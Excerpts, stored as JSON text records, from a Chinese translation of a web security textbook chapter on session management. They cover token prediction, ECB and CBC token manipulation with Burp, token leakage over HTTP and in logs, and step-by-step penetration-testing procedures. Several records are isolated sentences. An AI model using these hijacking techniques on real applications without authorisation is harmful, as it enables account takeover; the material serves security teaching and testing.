    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 会话替代方案 并非每一种Web应用程序都使用会话，一些具备验证机制、功能复杂的安全性至关重要的应用程序选择使用其他技术管理状态。常见的会话替代方案有两种。 HTTP验证 。使用各种基于HTTP验证技术（基本、摘要、NTLM验证等）的应用程序有时避免使用会话。在HTTP验证中，客户端组件使用HTTP消息头通过浏览器直接与验证机制交互，而不是通过包含在任何单独页面中的针对特定应用程序的代码与验证机制交互。一旦用户在浏览器对话框中输入他的证书，浏览器将会在随后向同一服务器提出的每个请求中重复提交这些证书（或重复执行任何必要的握手）。这种做法等同于应用程序使用基于HTML表单的验证，并在每个应用程序页面插入一个登录表单，要求用户通过他们执行的每一项操作重复验证自己的身份。因此，如果使用基于HTTP的验证，应用程序可以不必使用会话，而通过多个请求重复确定用户身份。然而，基于因特网的应用程序很少使用HTTP验证。而且，由于会话机制发展完善，能够提供其他用途非常广泛的功能，实际上，几乎所有的Web应用程序都采用这种机制。 无会话状态机制 。一些应用程序并不发布会话令牌管理用户与应用程序的交互状态，而是传送所有必要数据（一般保存在cookie或隐藏表单字段中），由客户端管理状态。实际上，这种机制以类似于ASP.NET ViewState的方式使用无会话状态。为保证这种机制的安全，必须对通过客户端传送的数据加以适当保护。这通常要求建立一个包含所有状态信息的二进制巨对象，并使用一种公认的算法对这些数据进行加密或签名。还必须在数据中包含足够的上下文，以防止攻击者将在应用程序某个位置收集到的状态对象提交到另一个位置， 造成某种意外行为。应用程序还必须在对象的数据中包含一个终止时间，执行与会话超时相同的功能。我们已在第5章详细介绍过通过客户端传送数据的各种安全机制。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）如果应用程序使用HTTP验证，它可能并不执行会话管理机制。使用前面描述的方法分析任何可能是令牌的数据的作用。 （2）如果应用程序使用无会话状态机制，通过客户端传送所有必要数据进行状态维护，有时我们可能很难检测出这种机制，但如果发现下列迹象，即可确定应用程序使用这种机制。 向客户端发布的可能令牌的数据相当长（如100 B或超过100 B）。 应用程序对每个请求做出响应，发布一个新的类似令牌的数据。 数据似乎被加密（因此无法辨别其结构）或包含签名（由有意义的结构和几个字节的无意义二进制数据组成）。 应用程序拒绝通过多个请求提交相同数据的做法。 （3）如果相关证据明确表明应用程序并未使用会话令牌管理状态，那么本章描述的任何攻击都不可能达到其目的。因此，最好着手去寻找其他严重的漏洞，如访问控制不完善或代码注入。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 7.2 会话令牌生成过程中的薄弱环节 由于生成令牌的过程不安全，攻击者能够确定发布给其他用户的令牌，致使会话管理机制易于受到攻击。 注解 许多时候，应用程序的安全取决于它所生成的令牌的不可预测性，以下是一些示例： 发送到用户注册的电子邮件地址的密码恢复令牌； 隐藏表单字段中用于防止跨站点请求伪造攻击（请参阅第13章）的令牌； 用于一次性访问受保护的资源的令牌； “记住我”功能使用的永久令牌； 未使用验证的购物应用程序的消费者用于检索现有订单的当前状态的令牌。 在本章中，我们主要讨论适用于上述所有情形的与令牌生成有关的缺陷。实际上，由于当前的许多应用程序都采用成熟的平台机制来生成会话令牌，因此，往往会在这些功能区域发现有关令牌生成的可利用缺陷。 7.2.1 令牌有一定含义 一些会话令牌通过用户的用户名或电子邮件地址转换而来，或者使用与其相关的其他信息创建。这些信息可以某种方式进行编码或模糊处理，也可与其他数据结合在一起。 例如，初看起来，下面的令牌由一长串随机字符组成： 但是，仔细分析后发现，其中仅包含十六进制字符。猜想这个字符串可能是一个经过十六进制编码的ASCII字符串，我们使用解码器对其解码，发现它实际是： 攻击者可以利用这个会话令牌的含义猜测其他应用程序用户的当前会话。使用一组枚举出的用户名或常见用户名，就能够迅速生成大量可能有效的令牌，并进行测试以确定它们是否有效。 包含有含义数据的令牌通常表现出某种结构。也就是说，它们由几种成分组成，通常以分隔符隔开，攻击者可分别提取并分析这些成分，以了解它们的功能和生成方法。结构化令牌的组成成分包括以下几项。 账户用户名。 应用程序用来区分账户的数字标识符。 用户姓名中的名/姓。 用户的电子邮件地址。 用户在应用程序中所属的组或扮演的角色。 日期/时间戳。 一个递增或可预测的数字。 客户端的IP地址。 为特意对其内容进行模糊处理，或者只是为了确保二进制数据能通过HTTP安全传输，应用程序会对结构化令牌中的每个不同成分或整个令牌以不同方式进行编码。常用的编码方案包括XOR、Base64和使用ASCII字符的十六进制表示法（请参阅第3章了解相关内容）。为将其恢复到原始状态，可能有必要对结构化令牌的每一个成分使用各种不同的解码方法。 注解 当处理包含结构化令牌的请求时，应用程序可能不会处理令牌中的每一个成分或每个成分中的所有数据。在前面的示例中，应用程序可能会对令牌进行Base64解码，然后只处理其中的“用户”（user）和“日期”（date）成分。如果令牌中包含一个二进制巨对象，那么这些数据中的大部分为填充数据，只有一小部分数据与服务器在令牌上执行的确认有关。减少令牌中确实必需的成分的数量通常可显著降低令牌的复杂程度。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）从应用程序中获取一个令牌，对其进行系统化的修改，以确定整个令牌是否有效，或者令牌的某些成分是否被忽略。尝试以一次一个字节（或者一次一个位）的方式更改令牌的值，然后重新向应用程序提交修改后的令牌，看应用程序是否仍然接受这个令牌。如果发现令牌中的某些部分实际上并无作用，可以将它们排除在深入分析之外，以减轻工作负担。可以使用Burp Intruder中的“char frobber”有效载荷类型修改令牌的值，每次修改一个字符，以帮助完成此任务。 （2）在不同时间以不同的用户登录，记录服务器发布的令牌。如果应用程序允许自我注册，可以选择自己的用户名，用一系列存在细微差别的相似用户名登录，如A、AA、AAA、AAAA、AAAB、AAAC、AABA等。如果其他与某一名用户有关的数据（如电子邮件地址）在登录阶段提交或保存在用户资料中，对其进行与前面类似的系统化修改，并记录登录后收到的令牌。 （3）对令牌进行分析，查找任何与用户名和其他用户可控制的数据有关的内容。 （4）分析令牌，查找任何明显的编码或模糊处理方案。如果用户名包含一组相同的字符，在令牌中寻找可能使用XOR模糊处理的对应字符序列；在令牌中寻找仅包含十六进制字符的字符序列，它表示应用程序可能对ASCII字符串进行了十六进制编码处理，或者披露其他信息。寻找以等号（=）结尾的字符序列或仅包含其他有效Base64字符的序列，如a～z、A～Z、0～9、+和/。 （5）如果对会话令牌样本进行逆向工程可获得任何有意义的结果，看看是否拥有足够的信息可猜测出应用程序最近向其他用户发布的令牌。找到一个依赖会话的应用程序页面（即如果不使用有效会话访问，就会返回错误消息或指向其他位置的重定向页面），通过Burp Intruder之类的工具可使猜测出的令牌向该页面提出大量请求。监控页面被正确加载的所有情况的结果，这表示会话令牌有效。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/321/ http://mdsec.net/auth/329/ http://mdsec.net/auth/331/ 7.2.2 令牌可预测 一些会话令牌并不包含与某个特定用户有关的任何有意义的数据，但由于它们包含某种顺序或模式，允许攻击者通过几个令牌样本即可推断出应用程序最近发布的其他有效令牌，因此具有可预测性。"},
    {"text": "即使推断过程需要做出大量尝试，并且成功率极低（例如，每1000次尝试得到一个有效令牌），自动攻击工具也仍然能够利用这种缺陷在很短的时间内确定大量有效令牌。"},
    {"text": "当向一个定制会话管理机制实施远程攻击时，攻击者所能获得的已发布令牌样本的数量可能受到服务器容量、其他用户的活动、带宽、网络延时等因素的限制。"},
    {"text": "然而，在实验室环境中，渗透测试员可以迅速建立数百万个令牌样本，所有样本都紧密相连，并使用了时间戳，而且可以降低其他用户造成的干扰。"},
    {"text": "然而，粗略检查后发现，令牌中可能包含Base64编码的数据，除大小写混合的字母和数字字符外，其中还有一个+字符，它也是一个有效的Base64字符串。 使用Base64解码器对令牌解码，得到以下结果： 很明显，这些字符串是乱码，并且其中包含非打印字符。"},
    {"text": "生成令牌的算法如下：用前一个值加上0x97C4EB6A，把结果截短成一个32位的数字，并对这个二进制数据进行Base64编码，使其能够通过基于文本的HTTP协议传输。"},
    {"text": "测试一家网上零售商的Web应用程序时，我们遇到以下令牌序列： 很明显，每个令牌由两个独立的数字组成：前一个数字的递增模式非常简单，很容易推测。"},
    {"text": "在随后的测试过程中进行一次代码审查，可发现以下令牌生成算法： 考虑对如何生成令牌所做的分析，攻击者可以直接构造一个自定义攻击，获得应用程序向其他用户发布的会话令牌。"},
    {"text": "应用程序每次向其他用户发布一个令牌，攻击者就实施一次蛮力攻击遍历这个范围内的每个数字，并把这个数字附加到已经发布给其他用户的第一个数字序列后面。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/339/ http://mdsec.net/auth/340/ http://mdsec.net/auth/347/ http://mdsec.net/auth/351/ 3．生成的数字随机性不强 计算机中的数据极少完全随机。"},
    {"text": "它执行一个“线性同余发生器”（linear congruential generator），通过以下算法生成序列中的下一个数字： 这种算法实际上是用生成的最后一个数字乘以一个常数，再加上另一个常数，生成下一个数字。"},
    {"text": "如果攻击者能够获得发生器生成的几个连续输出，他们就可以通过它们推断出发生器内部状态的一些信息，因此更容易向前或向后推导发生器的输出顺序。"},
    {"text": "要使用Burp Sequencer，需要从发布希望进行测试的令牌的应用程序中找到一个响应，如应用程序对发布包含会话令牌的新cookie的登录请求做出的响应。 然后，从Burp的上下文菜单中选择“发送至sequencer”（send to sequencer），并在Sequencer配置中设置令牌在响应中的位置，如图7-2所示。"},
    {"text": "如果已经通过其他方法（例如，通过保存某次Burp Intruder攻击的结果）获得适当的令牌样本，则可以使用“手动加载”（manual load）选项卡跳过令牌收集过程，直接进入统计分析阶段。"},
    {"text": "例如，如果某个大令牌包含1000位信息，但其中只有50个位通过了随机性测试，那么，总体而言，该令牌还不如一个完全通过随机性测试的50位令牌可靠。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）从第一个应用程序页面到任何登录功能，遍历应用程序，确定其何时以及如何发布会话令牌。以下两种行为较为常见： 只要收到未提交令牌的请求，应用程序就会创建新会话； 应用程序在成功登录后创建新会话。 要想自动收集大量令牌，最好的办法是确定一个导致应用程序发布新令牌的请求（通常为GET/或登录请求）。 （2）在Burp Suite中，向Burp Sequencer发送创建新会话的请求，并配置令牌的位置。然后启动实时捕获，收集尽可能多的令牌。如果应用程序采用了定制会话管理机制，则只能远程访问该应用程序，你可以尽可能迅速地收集令牌，以尽量防止丢失发布给其他用户的令牌，并降低时间依赖造成的影响。 （3）如果应用程序采用商业会话管理机制并且/或者你可以本地访问该应用程序，则可以在受控条件下获得无数会话令牌。 （4）在Burp Sequencer收集令牌的同时，启动“自动分析”（auto analyse）设置，使Burp定期自动执行统计分析。至少收集500个令牌，然后详细审查分析结果。如果令牌中有足够的数据位通过了测试，继续尽可能长时间地收集令牌，并在收集其他令牌时审查分析结果。 （5）如果令牌未通过随机性测试，并且似乎包含可用于预测将来令牌的模式，则可以从另一个IP地址、使用不同的用户名（如果相关）重新开始收集令牌的操作。这有助于确定是否能够发现相同的模式，以及是否能够根据前一次操作获得的令牌进行推断，确定后一次操作得到的令牌。有时候，一个用户收集的令牌序列表现出某种模式，但因为来源IP地址之类的信息被 用作熵源（如随机数字发生器的种子），通过这种模式并不能推断出向其他用户发布的令牌。 （6）如果攻击者认为已经充分了解令牌生成算法，能够向其他用户的会话发动自动攻击，通过一段定制脚本实施攻击可能是最好的方法，因为它能够使用观测到的特定模式生成令牌，并应用任何必需的编码。请参阅第14章了解在这种情况下应用某些常规技巧的信息。 （7）如果可以查看源代码，则应仔细检查负责生成会话令牌的代码，了解它使用的机制，并确定是否可以轻易预测该令牌。如果确定能够对从应用程序数据中提取的熵实施蛮力攻击，这时需要考虑对应用程序令牌实施蛮力攻击所需的具体请求数。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/361/ 7.2.3 加密令牌 一些应用程序使用包含用户有意义信息的令牌，并通过在向用户发布令牌之前对令牌进行加密来避免这种做法导致的明显问题。由于使用了用户未知的密钥对令牌进行加密，这种方法似乎较为稳妥，因为用户无法解密令牌并篡改其内容。 但是，在某些情况下，根据所采用的加密算法以及应用程序处理令牌的方式，用户甚至不需要解密令牌，就可以篡改令牌中有意义的内容。这听起来可能有些匪夷所思，但实际上，这些攻击确实可行，而且有时轻易就可以实施；事实证明，现实世界中的许多应用程序都易于受到这种攻击。不过，这类攻击是否可行，要取决于加密令牌时所采用的具体加密算法。 1．ECB密码 采用加密令牌的应用程序使用对称加密算法，用于解密用户返回的令牌，恢复令牌中有意义的内容。一些对称加密算法使用“电子密码本”（ECB）密码。这种密码将明文划分成同等大小的分组（如每组8个字节），然后使用密钥加密每个分组。在解密过程中，再使用相同的密钥对每个密文分组进行解密，将其恢复为原始的明文分组。这种加密方法有一个特点，即如果明文分组存在某种模式，这可能导致密文分组也存在一定的模式，因为明文分组与加密后的密文分组完全相同。对于某些类型的数据（如位图图像）而言，这意味着可以从密文判断明文中的有意义信息，如图7-4所示。 图7-4 使用ECB密码加密的明文中的模式可能会在生成的密文中可见 尽管ECB存在上述缺点，但Web应用程序仍然经常使用这类密码来加密信息。即使“明文模式”问题不会出现，这种加密方法仍然存在漏洞。这主要是因为它的明文分组与密文分组完全对应所致。 以下面的应用程序为例，该应用程序的令牌包含几个不同的有意义组件，包括一个数字用户标识符： 对这个令牌进行加密后，它变得没有任何意义，并且可能通过所有标准的随机性统计测试： ECB密码用于加密8字节的分组，其明文分组与对应的密文分组如下所示： 现在，由于每个密文分组将始终解密成同一个明文分组，因此，攻击者就可以改变密文分组的顺序，以某种有意义的方式修改对应的明文分组。根据应用程序处理生成的加密令牌的具体方式，攻击者可以通过这种方法切换到其他用户，或提升自己的权限。 例如，如果将第二个分组复制到第四个分组之后，将得到如下所示的分组序列： 现在，加密的令牌中包含一个经过修改的uid值，以及一个复制的app值。具体会出现什么情况，将取决于应用程序如何处理加密令牌。通常，以这种方式使用令牌的应用程序仅检查加密令牌的某些部分，如用户标识符。如果应用程序这样处理令牌，那么，应用程序将处理uid为992（而不是最初的218）的用户的请求。 上述攻击能否奏效，取决于你在操纵分组时，应用程序是否发布一个令牌，在其中包含与有效的uid值对应的rnd值。另一种更加可靠的攻击方法，是以适当的偏移值注册一个包含数值的用户名，并复制该分组以替换现有的uid值。假设你注册用户名daf1，并且应用程序发布以下令牌： 该令牌的明文分组和密文分组如下所示： 然后，如果将第七个分组复制到第四个分组之后，加密令牌将包含uid值1: 通过注册适当范围的用户名并重新实施这个攻击，你就可以循环使用所有有效的uid值，从而伪装成每一个应用程序用户。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/363/ 2．CBC密码 鉴于ECB密码存在明显的缺陷，于是人们开发出了密码块链（CBC）密码。使用CBC密码时，在加密每个明文分组之前，将它与前一个密文分组进行XOR运算，如图7-5所示。这样，同一个明文分组就不会被加密成同一个密文分组。解密时逆向执行XOR运算，每个解密的分组将与前一个密文分组进行XOR运算，以恢复原始的明文。 图7-5 使用CBC密码时，在加密每个明文分组之前，将它与前一个密文分组进行XOR运算 由于使用CBC密码可以避免使用ECB密码造成的某些问题，因此，CBC模式经常使用标准对称加密算法，如DES和AES。但是，由于Web应用程序经常使用CBC加密的令牌，这意味着攻击者不需要了解密钥就可以操纵解密令牌的某些部分。 下面我们对上一个包含几个不同的有意义组件（包括一个数字用户标识符）的应用程序令牌稍做修改： 和前面一样，加密这段信息后，将生成一个明显无意义的令牌： 由于这个令牌是使用CBC密码加密的，因此，在解密该令牌时，将对每个密文分组与下一个解密的文本块进行XOR运算，以获得明文。现在，如果攻击者修改密文（他收到的令牌）的某些部分，将导致特定的分组被解密成乱码。但是，这也导致下一个解密的文本块将与不同的值进行XOR运算，从而生成经过修改但仍有意义的明文。换言之，通过操纵令牌中的某个分组，攻击者能够修改它之后的分组的解密内容。如果应用程序以危险的方式处理生成的解密令牌，攻击者将能够切换到其他用户或提升自己的权限。 为什么会出现这种情况呢？在上述示例中，攻击者对加密的令牌进行修改，每次以任意方式更改一个字符，并将修改后的令牌发送给应用程序。在这个过程中，攻击者会提出大量请求。应用程序对每个修改后的令牌进行解密后生成的部分值如下所示： 在每一个值中，如我们预料的那样，攻击者修改的分组被解密成乱码（以？？？？？？？？表示）。但是，之后的分组被解密成有意义的文本，只是与原始令牌略有不同。如前所述，出现这种不同，是因为解密的文本与前一个密文分组进行了XOR运算，而攻击者已对该密文分组进行了略微修改。 虽然攻击者看不到解密的值，但应用程序会尝试处理这些值，随后攻击者会在应用程序的响应中看到处理结果。具体来说，接下来会出现什么情况，取决于应用程序如何处理经过修改的解密令牌。如果应用程序拒绝包含任何无效数据的令牌，攻击将会失败。但是，以这种方式使用令牌的应用程序通常仅查看解密令牌的某些部分，如用户标识符。如果应用程序这样处理令牌，那么，上面列表中的第八个分组将能够成功实施攻击，应用程序将处理攻击者提出的请求，并认为用户的uid为226，而不是最初的216。 使用Burp Intrude冲的“位翻转程序”（bit flipper）有效载荷类型，可以轻松测试出应用程序是否存在这方面的漏洞。首先，需要使用你自己的账户登录应用程序。然后，找到一个使用已登录会话并在响应中显示已登录用户标识符的应用程序页面，通常是用户的“主登录”页或“账户详细资料”页。图7-6显示了如何将Burp Intruder设置为针对用户的主页，其中的加密会话令牌被标记为有效载荷位置。 图7-6 将Burp Intruder配置为修改加密会话令牌 所需的有效载荷配置如图7-7所示。它指示Burp处理令牌的原始值，将其视为ASCII编码的十六进制代码，并“翻转”每个字符位置的每个数据位。这种方法非常理想，因为只需要提交较小 数量的请求（令牌中的每个字节8个请求），并且几乎总是能够确定应用程序是否易于受到攻击。这样就可以采用更有针对性的攻击，对应用程序的漏洞加以利用。 图7-7 将Burp Intruder配置为“翻转”加密令牌中的每个位 实施攻击时，最初的请求并不会导致应用程序的响应产生任何明显的变化，用户的会话也未遭到修改。这本身就值得我们注意，因为这表示令牌的第一部分并未用于确定登录用户。攻击过程中随后提交的许多请求导致应用程序重定向到登录页面，这说明所做的修改已导致令牌失效。关键在于，还存在一些请求，其响应似乎是有效会话的一部分，但实际上与原始的用户标识符无关。这些请求与包含uid的令牌分组对应。某些情况下，应用程序仅显示“未知用户”，表示经过修改的uid没有对应的实际用户，因此攻击将会失败。其他情况下，应用程序会显示其他注册用户的名称，这说明攻击已取得成功。攻击结果如图7-8所示。我们在其中定义了一个“提取grep”列来显示登录用户的标识符，并设置过滤器来隐藏将应用程序重定向到登录页面的响应。 图7-8 攻击加密令牌的成功“位翻转”攻击 确定存在的漏洞后就可以通过更有针对性的攻击来利用该漏洞。为此，需要从结果中确定，如果用户的资料发生变化，加密令牌中的哪个数据块会发生变化。然后，再实施攻击以测试这个数据块中的其他值。这时，可以使用Burp Intrude冲的“数字”有效载荷类型。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/365/ 注解 一些应用程序经常加密请求参数中的有意义数据（如商品的价格），以防止攻击者篡改这些数据。如果加密数据明显在应用程序的功能中发挥着重要作用，这时应尝试实施“位翻转”攻击，看是否能够以有意义的方式操纵加密信息，从而达到破坏应用程序逻辑的目的。 当然，利用本节所述的漏洞的主要目的是伪装成其他应用程序用户——最好是拥有较高权限的管理用户。如果只能盲目修改加密令牌的某些部分，则攻击能否取得成功，只能靠运气。但是，某些情况下，应用程序可能会为你提供一些“提示”。如果应用程序采用对称加密防止用户篡改数据，则通常整个应用程序都会使用相同的加密算法和密钥。在这种情况下，如果应用程序的任何功能向用户披露了任意加密字符串的解密值，则可以利用这一 “提示”完全解密任何受保护的信息。 以笔者发现的一个提供文件上传/下载功能的应用程序为例。上传文件后，用户将获得一个包含文件名参数的下载链接。为防止修改文件路径的各种攻击，应用程序对这个参数中的文件名进行加密。但是，如果用户请求一个已删除的文件，应用程序将显示一条错误消息，在其中显示所请求文件的解密名称。攻击者对这种行为加以利用就可以确定应用程序使用的任何加密字符中的明文值，包括会话令牌的值。笔者发现，该应用程序的会话令牌包含各种有意义的值（具有结 构化的格式），因此，易于受到本节所述的各种攻击。由于这些值属于文本格式的用户名和应用程序角色，而不是数字标识符，因此，仅仅使用盲目的位翻转很难对其实施成功的攻击。但是，通过使用文件名解密函数就可以在查看结果的同时，对令牌的数据位进行系统地修改。这样就可以构造一个令牌，该令牌一旦解密将指定有效的用户和管理角色，从而完全控制整个应用程序。 注解 还可以使用其他技巧来解密应用程序使用的加密数据。例如，利用一个“揭示性”加密提示（“reveal” encryption oracle）可获得加密令牌的明文值。虽然在解密密码时，这可能是一个重要的漏洞，但是，解密会话令牌并不会使攻击者能够立即攻破其他用户的会话。不过，解密令牌有助于攻击者了解明文的结构，帮助他们实施针对性的“位翻转”攻击。有关“揭示”加密提示攻击的详细信息，请参阅第11章。 针对填充提示（padding oracle）的旁路攻击可用于破解加密令牌。请参阅第18章了解详细信息。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 许多时候，在应用程序采用加密令牌时，具体的攻击方法可能要取决于各种因素，包括分组边界相对于攻击的数据的偏移值，以及应用程序是否允许修改明文的结构。完全盲目地开始攻击将很难实施有效的攻击，但在许多情况下，这种攻击也可能会奏效。 （1）除非会话令牌明显有意义或本身是连续的，否则应始终考虑令牌被加密的可能性。通常，通过注册几个不同的用户名，并在用户名中每次添加一个字符，就可以确定应用程序是否采用分组密码。如果添加一个字符会导致会话令牌的长度增加8或16个字节，这说明应用程序可能使用的是分组密码。要确认这一点，可以继续在用户名中添加字节，看随后会话令牌是否会同样增加8或16个字节。 （2）通常，在盲目的情况下，很难确定并利用ECB密码操纵漏洞。但是，可以尝试盲目地复制并移动令牌中的密文分组，并查看能否能够以自己的用户账户或其他用户账户登录应用程序，或根本无法登录应用程序。 （3）你可以通过使用“位翻转”有效载荷源对整个令牌实施Burp Intruder攻击，测试应用程序是否存在CBC密码操纵漏洞。如果位翻转确定了令牌中的某个部分，并且修改该部分后仍然能够以其他用户或不存在的用户身份访问有效会话，那么，攻击者可以扩大攻击范围，对这个部分中的每个值进行测试，以实施更有针对性的攻击。 （4）在上述两种攻击过程中，监视应用程序的响应，确定与提交的每个请求生成的会话有关的用户，并尝试利用任何机会来提升自己的权限。 （5）如果攻击并未奏效，但通过步骤1得知，攻击者提交的长度可变的输入已被合并到令牌中，这时，应尝试每次增加一个字符，直到达到所使用的分组的大小，以生成一系列令牌。然后，对于每个生成的令牌，应执行步骤（2）和步骤（3）。这将增加需要修改的数据恰好与分组边界对齐的机率，帮助你实施成功的攻击。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 7.3 会话令牌处理中的薄弱环节 不管应用程序如何确保它生成的令牌不包含任何有意义的信息，并且很难加以分析或预测，但如果生成令牌后不对其小心处理，它的会话机制仍然易于受到各种攻击。"},
    {"text": "7.3.1 在网络上泄露令牌 如果通过网络以非加密方式传送会话令牌，就会产生这方面的漏洞，允许处在适当位置的窃听者能够截获令牌并因此伪装成合法用户。"},
    {"text": "例如，如果截获的证书不足以执行第二次登录（如银行应用程序可能要求登录者提交在不断变化的物理令牌上显示的一串数字，或者用户PIN号码中的几个特殊数字），这时攻击者如果想执行任意操作，就必须劫持他窃听的会话。"},
    {"text": "在这种情况下，窃听者就可以在登录前拦截用户的令牌，等待用户转换到HTTPS进行通信（表示用户正在登录）然后尝试使用那个令牌访问一个受保护的页面（如“我的账户”）。 即使应用程序在用户成功登录后发布一个新令牌，并从登录页面开始使用HTTPS，但是，如果用户通过单击验证区域中的一个链接、使用“后退”按钮或者直接输入URL，重新访问一个预先验证的页面（如“帮助”或“关于”页面），用户通过验证的会话令牌仍有可能泄露。 与前面的情况稍有不同，应用程序可能在用户单击登录链接后转换到HTTPS。"},
    {"text": "当浏览器显示此警告时，它已经通过HTTP获取了相关数据项，因而已经传送了会话令牌。 浏览器显示警告是为了让用户拒绝处理已通过HTTP接收到并因此可能受到污染的响应数据。"},
    {"text": "如前所述，如果用户的浏览器通过HTTP访问一个资源，并使用这个令牌通过HTTPS访问站点中受保护的非静态区域，攻击者就能拦截该用户的会话令牌。 图7-9 如果一个通过HTTPS访问的页面包含通过HTTP访问的数据，浏览器将显示一条警报消息 即使应用程序在每一个页面（包括站点中未通过验证的区域和静态内容）都使用HTTPS，有些情况下，用户的令牌仍然通过HTTP传送。 如果攻击者能够以某种方式诱使用户通过HTTP提出一个请求（或者是请求相同服务器上运行的HTTP服务，或者是访问http://server:443/），那么用户就可能在这个过程中提交令牌。 这时，攻击者可以采用的攻击手段包括在一封电子邮件或即时消息中给用户发送一个URL，在他控制的一个Web站点中 插入一个自动加载的链接，或者使用可单击的横幅广告。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）以正常方式访问应用程序，从第一个进入点（“起始”URL）开始，接着是登录过程，然后是应用程序的全部功能。记录每一个被访问的URL以及收到新会话令牌的每种场合。特别注意登录功能及HTTP与HTTPS通信之间的转换。可以使用网络嗅探器（如Wireshark）手动或使用拦截代理服务器中的日志功能部分自动完成这一任务，如图7-10所示。 图7-10 遍历应用程序，确认收到新会话令牌的位置 （2）如果应用程序使用HTTP cookie传送会话令牌，那么应确认其是否设置了 secure标记，防止它们通过非加密连接传送令牌。 （3）在正常使用应用程序的情况下，确定会话令牌是否通过非加密连接传送。如果确实如此，应将其视为易于受到拦截。 （4）如果起始页面使用HTTP，然后在登录和站点中通过验证的区域转换到HTTPS，确认应用程序是否在用户登录后发布一个新令牌，或者在使用HTTP阶段传送的令牌是否仍被用于追踪用户通过验证的会话。同时确认，如果对登录URL进行相应修改，应用程序是否接受通过HTTP登录。 （5）即使应用程序在每一个页面使用HTTPS，确认服务器是否还监听80端口，通过它运行任何服务或内容。如果是这样，直接使用通过验证的会话访问所有HTTP URL，确认会话令牌是否被传送。 （6）如果通过HTTP将通过验证会话的令牌传送给服务器，确认该令牌是否继续有效，或者立即被服务器终止。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/369/ http://mdsec.net/auth/372/ http://mdsec.net/auth/374/ 7.3.2 在日志中泄露令牌 除在网络通信中明文传送会话令牌外，各种系统日志也常常将令牌泄露给未授权方。虽然这种情况很少发生，但由于除了处在网络适当位置的窃听者之外，还有其他各种潜在的攻击者都能查阅这些日志，这种泄露通常会造成更严重的后果。 许多应用程序为管理员和其他支持人员提供监控和控制应用程序运行时状态（包括用户会话）的功能。例如，帮助用户解决疑难的服务台工作人员可能会要求用户提供用户名、通过列表或搜索功能定位他们当前的会话，并查看与会话有关的细节。或者管理员可能会在调查一起违反安全事件的过程中查询最近会话的日志记录。通常，这种监控和控制功能会泄露每个会话的令牌。而且，这种功能一般没有得到良好的保护，允许未授权用户访问当前会话令牌列表，因而劫持所有应用程序用户的会话。 会话令牌出现在系统日志中的另一个主要原因是应用程序使用URL查询字符串，而不是使用HTTP cookie或POST请求主体作为令牌传输机制。例如，在Google上查询inurl：jsessionid即可确定数千个在以下URL中传送Java平台会话令牌（称作jsessionid）的应用程序： http://www.webjunction.org/do/Navigation;jsessionid= F27ED2A6AAE4C6DA409A3044E79B8B48?category=327 如果应用程序以这种方式传送会话令牌，它们的会话令牌就可能出现在各种未授权用户能够访问的系统日志中，例如： 用户浏览器的日志； Web服务器日志； 企业或ISP代理服务器日志； 任何在应用程序主机环境中采用的反向代理的日志； 应用程序用户通过单击站外链接访问的任何服务器的Referer日志，如图7-11所示。 图7-11 当会话令牌出现在URL中时，只要用户点击站外链接或浏览器加载站外资源，会话令牌就会在Referer消息头中传送 即使整个应用程序都使用HTTPS，这些漏洞仍有可能出现。 上面描述的最后一种情况为攻击者提供了一种截获应用程序会话令牌的非常有效的方法。例如，如果一个Web邮件应用程序在URL中传送会话令牌，那么攻击者就可以向应用程序的用户发送一封电子邮件，在里面包含一个连接到他控制的Web服务器的链接。如果任何用户访问这个链接（如单击它，或者他们的浏览器加载了包含在HTML格式的电子邮件中的图像），攻击者就会实时收到该用户的会话令牌。然后，攻击者只需在他的服务器上运行一段脚本，就可以劫持每一个令牌的会话，并执行某种恶意操作，如发送垃圾邮件、获取个人信息或修改密码。 注解 追踪通过HTTPS访问的页面中包含的站外链接时，当前版本的Internet Explorer中并不包含Referer消息头。在这种情况下，只要站外链接也通过HTTPS访问，即使它属于另一个域，Firefox中也包含Referer消息头。因此，即使使用SSL，插入在URL中的敏感数据也容易在Referer日志中泄露。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）确定应用程序的所有功能，找出可查看会话令牌的任何日志或监控功能。查明谁能够访问这种功能，例如管理员、任何通过验证的用户或匿名用户。请参阅第4章了解发现在主应用程序中没有建立直接链接的隐藏内容的技巧。 （2）确定应用程序使用URL中传送会话令牌的任何情况。可能应用程序通常以更加安全的方式传送令牌，但开发者在特定情况下使用URL来解决特殊难题。例如，Web应用程序与外部系统交互时通常会出现这种情况。 （3）如果应用程序在URL中传送会话令牌，尝试发现任何允许在其他用户查阅的页面中注入任意站外链接的应用程序功能，例如公告牌、站点反馈、问与答等功能。如果可以，向一个受控制的Web服务器提交链接，等待一段时间，看Referer日志中是否收到任何用户的会话令牌。 （4）如果截获到任何会话令牌，尝试通过正常使用应用程序，而不是用截获的令牌代替自己的令牌来劫持用户的会话。可以通过拦截服务器返回的下一个响应，并使用截获的cookie值添加自己的Set-Cookie消息头，以实现这一目的。在Burp中，可以应用一个Suite范围的配置，在所有指向目标应用程序的请求中设置一个特殊cookie，以便测试期间在不同的会话之间轻松切换。 （5）如果截获到大量令牌，并且通过劫持用户的会话可以访问他们的敏感数据（如个人资料、支付信息或用户密码），就能够使用第14章描述的自动技巧获得想要的、属于其他应用程序用户的数据。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/379/ 7.3.3 令牌–会话映射易受攻击 由于应用程序在将生成和处理的会话令牌与令牌所属的用户会话之间进行对应的过程中存在薄弱环节，会话管理机制因此存在各种常见的漏洞。 